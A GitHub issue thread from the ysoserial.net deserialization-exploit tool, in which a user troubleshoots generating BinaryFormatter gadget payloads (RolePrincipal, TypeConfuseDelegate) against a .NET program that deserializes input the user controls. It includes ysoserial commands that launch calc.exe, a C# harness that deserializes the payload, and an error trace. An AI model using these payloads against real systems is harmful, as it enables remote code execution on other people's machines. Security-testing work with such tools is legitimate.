Gadget not supported

[Djerryz]

I see README.md apply:
RolePrincipal
DataSet
ClaimsIdentity

but i run "ysoserial.exe -h", did not show above gaget, so i need some help. thank you.

[Djerryz]

[Djerryz]

And My target program look like .net 2, it use "binaryFormatter.Deserialize(memoryStream);" , i can control memoryStream , so i think it have RCE vulnerbility

[Soroush Dalili]

I think you are using the old version. You can get the latest version from https://github.com/pwntester/ysoserial.net/actions

That said, if your target uses .NET v2.0, we currently have an old branch for it which still requires .NET 3.5 to be available on the box: https://github.com/pwntester/ysoserial.net/tree/v2

[Soroush Dalili]

We are in the process of updating the release section so that will soon be available too to reduce the confusion :)

[Djerryz]

I think you are using the old version. You can get the latest version from https://github.com/pwntester/ysoserial.net/actions

That said, if your target uses .NET v2.0, we currently have an old branch for it which still requires .NET 3.5 to be available on the box: https://github.com/pwntester/ysoserial.net/tree/v2

I down "Release 1.32" from the release page , because i do not have install visual studio tool or library, build the project maybe difficulty to me. But thanks to your answer, i will download the zip and try to build it , if success i wll close this issues.

[Djerryz]

"https://github.com/pwntester/ysoserial.net/suites/621551954/artifacts/4910623" is awesome.
try "ysoserial.exe -f BinaryFormatter -g RolePrincipal -c "cacl" -t -o base64" general payload seem not effect to target program.
"https://github.com/pwntester/ysoserial.net/tree/v2" build failed, seem i lose " .NETFramework,Version=v2.0 ", can u build it for me: )

[Djerryz]

ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe" -o base64 -t

string abc = "base64 string create by ysoserial";
MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(abc));
Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray()));
BinaryFormatter binaryFormatter = new BinaryFormatter();
object obj = binaryFormatter.Deserialize(memoryStream);

(netcoreapp3.1) dotnet run , Error Log:

Unhandled exception. System.InvalidCastException: Object must implement IConvertible.
   at System.Convert.ChangeType(Object value, Type conversionType, IFormatProvider provider)
   at System.Runtime.Serialization.FormatterConverter.Convert(Object value, Type type)
   at System.Runtime.Serialization.SerializationInfo.GetValue(String name, Type type)
   at System.Collections.Generic.SortedSet`1.OnDeserialization(Object sender)
   at System.Collections.Generic.SortedSet`1.System.Runtime.Serialization.IDeserializationCallback.OnDeserialization(Object sender)
   at System.Runtime.Serialization.ObjectManager.RaiseDeserializationEvent()
   at System.Runtime.Serialization.Formatters.Binary.ObjectReader.Deserialize(BinaryParser serParser, Boolean fCheck)
   at System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Deserialize(Stream serializationStream, Boolean check)
   at System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Deserialize(Stream serializationStream) 

Referer: https://medium.com/@frycos/yet-another-net-deserialization-35f6ce048df7

The same Error in ysoserial.exe version Release-17 and Release 1.33